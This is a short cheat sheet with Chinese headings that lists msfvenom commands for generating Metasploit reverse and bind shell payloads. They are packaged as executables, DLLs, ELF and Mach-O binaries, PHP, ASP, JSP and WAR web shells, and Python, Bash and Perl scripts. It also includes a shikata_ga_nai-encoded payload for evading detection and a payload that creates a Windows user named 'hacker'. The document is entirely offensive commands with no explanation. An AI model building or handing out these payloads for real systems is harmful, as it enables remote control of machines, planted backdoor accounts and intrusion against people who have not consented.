反向
Windows
meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > test.exe
shell
msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > test.exe
加密meterpreter
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT= -f elf > test.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > test.macho
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > test.php
cat shell.php | pbcopy && echo ‘<?php ‘ | tr -d ‘
’ > shell.php && pbpaste >> test.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > test.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > test.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > test.war
Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > test.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > test.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > test.pl
Windows Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f
Linux Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f
Mac Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f
新建用户
msfvenom -p windows/adduser USER=hacker PASS=Hacker123$ -f exe > user.exe
正向
Windows exe
msfvenom -p windows/meterpreter/bind_tcp LPORT= -f exe >test.exe
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT= -f exe >test.exe
Windows dll
msfvenom -p windows/meterpreter/bind_tcp LPORT= -f dll >test.dll
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT= -f dll >test.dll
Linux shell
msfvenom -p generic/shell_bind_tcp RHOST= LPORT= -f elf > term.elf
Linux Meterpreter
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST= LPORT= -f elf > test.elf
Mac
msfvenom -p osx/x86/shell_bind_tcp RHOST= LPORT= -f macho > test.macho